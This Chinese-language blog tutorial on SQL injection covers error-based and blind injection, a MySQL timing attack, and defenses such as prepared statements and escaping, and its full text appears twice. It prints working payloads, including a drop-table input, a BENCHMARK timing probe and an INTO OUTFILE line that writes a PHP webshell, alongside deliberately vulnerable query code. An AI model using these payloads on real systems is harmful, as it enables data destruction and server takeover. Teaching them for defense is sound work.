web安全————注入(初識篇)
阿新 • • 發佈:2019-02-04
注入攻擊
注入攻擊是web安全領域中最常見的一種攻擊方式。注入攻擊的本質就是把使用者輸入的資料當作程式碼執行,主要的兩個關鍵條件:第一是使用者能夠控制輸入,第二是原本程式要執行的程式碼拼接了使用者輸入的資料。在注入中,常見的就是SQL,下面我們來看看SQL注入的一些方法、技巧以及防禦。
SQL注入
請看一個典型的SQL注入例子:
var Shipcity;
ShipCity = Request.form ("ShipCity");
var sql = "select * from OrdersTable where
ShipCity = '" + ShipCity + "'";
這裡的變數"Shipcity"值是由使用者提交,如果是一個正常值如"Beijing",那麼SQL語句執行查詢:
SELECT * FROM OrdersTable WHERE Shipcity = 'Beijing'
但是如果使用者輸入的是一段SQL語句:Beijing';drop table OrdersTable--,那麼SQl語句就會被執行:
SELECT * FROM OrdersTable WHERE Shipcity ='Beijing';drop table OrdersTable--'
這就是說SQL在執行完查詢後,再執行drop表的操作,而這個操作是使用者構造的惡意攻擊。對比一下上述所說的注入關鍵條件:1使用者能夠控制資料輸入的變數"Shipcity",2原本要執行的程式碼,拼接了使用者輸入。也正是這個拼接導致資料庫執行了SQL語句。
在SQL注入過程中,有的站點WEb伺服器開啟了錯誤回顯,如攻擊者在輸入中插入一個單引號,伺服器返回錯誤資訊如:
Microsoft JET Database Engine 錯誤 '80040e14'
字串的語法錯誤 在查詢表示式 'ID=49'' 中。
/showdetail.asp,行8
這將會給攻擊者提供很大的便利。從回顯資訊中知道伺服器用的是Access作為資料庫,那麼攻擊者就知道相應的查詢語句:select xxx from table_X where id = $id。有的錯誤回顯資訊還帶有敏感資訊,那對攻擊者來說構造一個SQL注入就更加得心應手了。但是在時間環境中,web伺服器關閉了錯誤回顯,對於這種情況,攻擊者們研究出了“盲注”技巧。
SQL注入之盲注
所謂盲注就是指攻擊者在沒有錯誤回顯資訊情況下,通過構造條件語句試探該語句是否得以執行,從而完成的一種攻擊方式。常見的就是 and 1=1 and 1=2的條件語句:在位址列輸入http://test.com/items.php?id=1時,將會在資料庫執行SQL語句SELECT title,description,body FROM items WHERE ID =1。當攻擊者構造and 1=1、and 1=2語句時,SQL語句會根據and條件判斷命題真假來返回響應值,攻擊者就可根據響應值的不同判斷是否存在注入,這就是盲注的工作原理。
Timing Attack
首先看看邊通道攻擊:通道外的資訊與通道內的資訊存在某種聯絡,通過觀測通道外的資訊推斷出通道內的隱含資訊。時序攻擊(Timing Attack)就是在邊通道攻擊思想上,去觀測時間與隱含資訊直接的某種聯絡。Timing Attack是盲注的一種高階技巧,下面我們來簡單的看看:
在MYSQL中,有一個函式BENCHMARK()函式,主要用於測試函式的效能。它有兩個引數BENCHMARK(count,expr),執行後結果是將表示式expr執行count次。如果讓一個函式被執行若干次,使得返回時間計較長,通過對比時間長短變化即可判斷注入語句是否執行成功,這種邊通道攻擊在盲注中被稱為Timing Attack。下面附上一些Timing Attack攻擊程式碼:
1170 UNION SELECT IF(SUBSTRING(current,1,1) =
CHAR(119),BENCHMARK(5000000,ENCODE('MSG','by
5 seconds')),null) FROM (Select Database()
as current) as tbl;
這段payload是判斷庫名的第一個字母是否為CKAR(119),如果為真則程式碼執行時間較長,如果為假則很快執行完畢。攻擊者遍歷所有字母,即可知道資料庫名字。再通過下列函式獲取更多有用資訊:
database() - the name of the database
currently connected to.
system_user() - the system user for the
database.
current_user() - the current user who is
logged in to the database.
last_insert_id() - the transaction ID of the
last insert operation on the database.
如果當前資料庫使用者(current_user)具有寫許可權,那麼攻擊者可將資訊寫入web目錄中:
1170 Union All SELECT table_name,
table_type, engine FROM
information_schema.tables WHERE
table_schema = 'mysql’ ORDER BY table_name
DESC INTO OUTFILE
'/path/location/on/server/www/schema.txt'
或者通過DUMP檔案的方法寫入一個webshell:
1170 UNION SELECT "<?
system($_REQUEST['cmd']); ?>",2,3,4 INTO
OUTFILE
"/var/www/html/temp/c.php" --
正確的防禦SQL注入
SQL注入的防禦辦法:找到所有的SQL注入漏洞並修復它們。主要從以下幾點入手
1,使用預編譯語句
一般說來,防禦SQL注入的最佳方式就是使用預編譯語句繫結變數。如在java中使用預編譯的SQL語句:
String custname =
request.getParameter("customerName"); // This should REALLY be validated too
// perform input validation to detect attacks
String query = "SELECT account_balance FROM
user_data WHERE user_name = ? ";
PreparedStatement pstmt =
connection.prepareStatement( query );
pstmt.setString( 1, custname);
ResultSet results = pstmt.executeQuery( );
上述程式碼變數用"?"表示,攻擊者無法改變SQL的結構,即是插入lee'or '1'='1的字元,也只會被當做username來查詢。下面再看看在PHP中繫結變數的例項:
$query = "INSERT INTO myCity (Name,
CountryCode, District) VALUES (?,?,?)";
$stmt = $mysqli->prepare($query);
$stmt->bind_param("sss", $val1, $val2,
$val3);
$val1 = 'Stuttgart';
$val2 = 'DEU';
$val3 = 'Baden-Wuerttemberg';
/* Execute the statement */
$stmt->execute();
2,使用儲存過程
除了使用預編譯語句外,還可以使用安全的儲存過程防禦SQL注入。與預編譯語句不同的是需要將SQL語句定義在資料庫中,但這種情況下也可能會存在注入問題,應該儘量避免在儲存過程中使用動態SQL語句,如果必須使用,則應該嚴格過濾輸入或者使用編碼函式來處理使用者輸入資料。下例為java中呼叫儲存過程,sp_getAccountBalance是預先在資料庫中定義的
String custname =
request.getParameter("customerName"); //
This should REALLY be validated
try {
CallableStatement cs =
connection.prepareCall("{call
sp_getAccountBalance(?)}");
cs.setString(1, custname);
ResultSet results = cs.executeQuery();
// … result set handling
} catch (SQLException se) {
// … logging and error handling
}
3,檢查資料型別
檢查資料型別在很大程度上也可防禦SQL注入,如下限制輸入資料型別只能為integer:
<?php
settype($offset, 'integer');
$query = "SELECT id, name FROM products
ORDER BY name LIMIT 20 OFFSET $offset;";
// please note %d in the format string,
using %s would be meaningless
$query = sprintf("SELECT id, name FROM
products ORDER BY name LIMIT 20 OFFSET
%d;",
$offset);
?>
檢查資料型別必須要求使用者輸入嚴格按照其格式,如果需要使用者輸入是字串則按照其他方式防禦
4,使用安全函式
如在MYSQL中:
NUL (0x00) --> \0 [This is a zero, not the letter O]
BS (0x08) --> \b
TAB (0x09) --> \t
LF (0x0a) --> \n
CR (0x0d) --> \r
SUB (0x1a) --> \z
" (0x22) --> \"
% (0x25) --> \%
' (0x27) --> \'
\ (0x5c) --> \\
_ (0x5f) --> \_
all other non-alphanumeric characters with
ASCII values less than 256 --> \c
where 'c' is the original non-alphanumeric
character.
使用ESAPI.encoder().encodeForSQL( new OracleCodec(), queryparam );函式:
Codec ORACLE_CODEC = new OracleCodec();
String query = "SELECT user_id FROM
user_data WHERE user_name = '" +
ESAPI.encoder().encodeForSQL( ORACLE_CODEC
, req.getParameter("userID")) + "' and
user_password = '"
+
ESAPI.encoder().encodeForSQL( ORACLE_CODEC
, req.getParameter("pwd")) +"'";
從資料庫的角度來說,應該按照最小許可權原則來防禦SQL注入。。。。
注入攻擊是web安全領域中最常見的一種攻擊方式。注入攻擊的本質就是把使用者輸入的資料當作程式碼執行,主要的兩個關鍵條件:第一是使用者能夠控制輸入,第二是原本程式要執行的程式碼拼接了使用者輸入的資料。在注入中,常見的就是SQL,下面我們來看看SQL注入的一些方法、技巧以及防禦。
SQL注入
請看一個典型的SQL注入例子:
var Shipcity;
ShipCity = Request.form ("ShipCity");
var sql = "select * from OrdersTable where
ShipCity = '" + ShipCity + "'";
這裡的變數"Shipcity"值是由使用者提交,如果是一個正常值如"Beijing",那麼SQL語句執行查詢:
SELECT * FROM OrdersTable WHERE Shipcity = 'Beijing'
但是如果使用者輸入的是一段SQL語句:Beijing';drop table OrdersTable--,那麼SQl語句就會被執行:
SELECT * FROM OrdersTable WHERE Shipcity ='Beijing';drop table OrdersTable--'
這就是說SQL在執行完查詢後,再執行drop表的操作,而這個操作是使用者構造的惡意攻擊。對比一下上述所說的注入關鍵條件:1使用者能夠控制資料輸入的變數"Shipcity",2原本要執行的程式碼,拼接了使用者輸入。也正是這個拼接導致資料庫執行了SQL語句。
在SQL注入過程中,有的站點WEb伺服器開啟了錯誤回顯,如攻擊者在輸入中插入一個單引號,伺服器返回錯誤資訊如:
Microsoft JET Database Engine 錯誤 '80040e14'
字串的語法錯誤 在查詢表示式 'ID=49'' 中。
/showdetail.asp,行8
這將會給攻擊者提供很大的便利。從回顯資訊中知道伺服器用的是Access作為資料庫,那麼攻擊者就知道相應的查詢語句:select xxx from table_X where id = $id。有的錯誤回顯資訊還帶有敏感資訊,那對攻擊者來說構造一個SQL注入就更加得心應手了。但是在時間環境中,web伺服器關閉了錯誤回顯,對於這種情況,攻擊者們研究出了“盲注”技巧。
SQL注入之盲注
所謂盲注就是指攻擊者在沒有錯誤回顯資訊情況下,通過構造條件語句試探該語句是否得以執行,從而完成的一種攻擊方式。常見的就是 and 1=1 and 1=2的條件語句:在位址列輸入http://test.com/items.php?id=1時,將會在資料庫執行SQL語句SELECT title,description,body FROM items WHERE ID =1。當攻擊者構造and 1=1、and 1=2語句時,SQL語句會根據and條件判斷命題真假來返回響應值,攻擊者就可根據響應值的不同判斷是否存在注入,這就是盲注的工作原理。
Timing Attack
首先看看邊通道攻擊:通道外的資訊與通道內的資訊存在某種聯絡,通過觀測通道外的資訊推斷出通道內的隱含資訊。時序攻擊(Timing Attack)就是在邊通道攻擊思想上,去觀測時間與隱含資訊直接的某種聯絡。Timing Attack是盲注的一種高階技巧,下面我們來簡單的看看:
在MYSQL中,有一個函式BENCHMARK()函式,主要用於測試函式的效能。它有兩個引數BENCHMARK(count,expr),執行後結果是將表示式expr執行count次。如果讓一個函式被執行若干次,使得返回時間計較長,通過對比時間長短變化即可判斷注入語句是否執行成功,這種邊通道攻擊在盲注中被稱為Timing Attack。下面附上一些Timing Attack攻擊程式碼:
1170 UNION SELECT IF(SUBSTRING(current,1,1) =
CHAR(119),BENCHMARK(5000000,ENCODE('MSG','by
5 seconds')),null) FROM (Select Database()
as current) as tbl;
這段payload是判斷庫名的第一個字母是否為CKAR(119),如果為真則程式碼執行時間較長,如果為假則很快執行完畢。攻擊者遍歷所有字母,即可知道資料庫名字。再通過下列函式獲取更多有用資訊:
database() - the name of the database
currently connected to.
system_user() - the system user for the
database.
current_user() - the current user who is
logged in to the database.
last_insert_id() - the transaction ID of the
last insert operation on the database.
如果當前資料庫使用者(current_user)具有寫許可權,那麼攻擊者可將資訊寫入web目錄中:
1170 Union All SELECT table_name,
table_type, engine FROM
information_schema.tables WHERE
table_schema = 'mysql’ ORDER BY table_name
DESC INTO OUTFILE
'/path/location/on/server/www/schema.txt'
或者通過DUMP檔案的方法寫入一個webshell:
1170 UNION SELECT "<?
system($_REQUEST['cmd']); ?>",2,3,4 INTO
OUTFILE
"/var/www/html/temp/c.php" --
正確的防禦SQL注入
SQL注入的防禦辦法:找到所有的SQL注入漏洞並修復它們。主要從以下幾點入手
1,使用預編譯語句
一般說來,防禦SQL注入的最佳方式就是使用預編譯語句繫結變數。如在java中使用預編譯的SQL語句:
String custname =
request.getParameter("customerName"); // This should REALLY be validated too
// perform input validation to detect attacks
String query = "SELECT account_balance FROM
user_data WHERE user_name = ? ";
PreparedStatement pstmt =
connection.prepareStatement( query );
pstmt.setString( 1, custname);
ResultSet results = pstmt.executeQuery( );
上述程式碼變數用"?"表示,攻擊者無法改變SQL的結構,即是插入lee'or '1'='1的字元,也只會被當做username來查詢。下面再看看在PHP中繫結變數的例項:
$query = "INSERT INTO myCity (Name,
CountryCode, District) VALUES (?,?,?)";
$stmt = $mysqli->prepare($query);
$stmt->bind_param("sss", $val1, $val2,
$val3);
$val1 = 'Stuttgart';
$val2 = 'DEU';
$val3 = 'Baden-Wuerttemberg';
/* Execute the statement */
$stmt->execute();
2,使用儲存過程
除了使用預編譯語句外,還可以使用安全的儲存過程防禦SQL注入。與預編譯語句不同的是需要將SQL語句定義在資料庫中,但這種情況下也可能會存在注入問題,應該儘量避免在儲存過程中使用動態SQL語句,如果必須使用,則應該嚴格過濾輸入或者使用編碼函式來處理使用者輸入資料。下例為java中呼叫儲存過程,sp_getAccountBalance是預先在資料庫中定義的
String custname =
request.getParameter("customerName"); //
This should REALLY be validated
try {
CallableStatement cs =
connection.prepareCall("{call
sp_getAccountBalance(?)}");
cs.setString(1, custname);
ResultSet results = cs.executeQuery();
// … result set handling
} catch (SQLException se) {
// … logging and error handling
}
3,檢查資料型別
檢查資料型別在很大程度上也可防禦SQL注入,如下限制輸入資料型別只能為integer:
<?php
settype($offset, 'integer');
$query = "SELECT id, name FROM products
ORDER BY name LIMIT 20 OFFSET $offset;";
// please note %d in the format string,
using %s would be meaningless
$query = sprintf("SELECT id, name FROM
products ORDER BY name LIMIT 20 OFFSET
%d;",
$offset);
?>
檢查資料型別必須要求使用者輸入嚴格按照其格式,如果需要使用者輸入是字串則按照其他方式防禦
4,使用安全函式
如在MYSQL中:
NUL (0x00) --> \0 [This is a zero, not the letter O]
BS (0x08) --> \b
TAB (0x09) --> \t
LF (0x0a) --> \n
CR (0x0d) --> \r
SUB (0x1a) --> \z
" (0x22) --> \"
% (0x25) --> \%
' (0x27) --> \'
\ (0x5c) --> \\
_ (0x5f) --> \_
all other non-alphanumeric characters with
ASCII values less than 256 --> \c
where 'c' is the original non-alphanumeric
character.
使用ESAPI.encoder().encodeForSQL( new OracleCodec(), queryparam );函式:
Codec ORACLE_CODEC = new OracleCodec();
String query = "SELECT user_id FROM
user_data WHERE user_name = '" +
ESAPI.encoder().encodeForSQL( ORACLE_CODEC
, req.getParameter("userID")) + "' and
user_password = '"
+
ESAPI.encoder().encodeForSQL( ORACLE_CODEC
, req.getParameter("pwd")) +"'";
從資料庫的角度來說,應該按照最小許可權原則來防禦SQL注入。。。。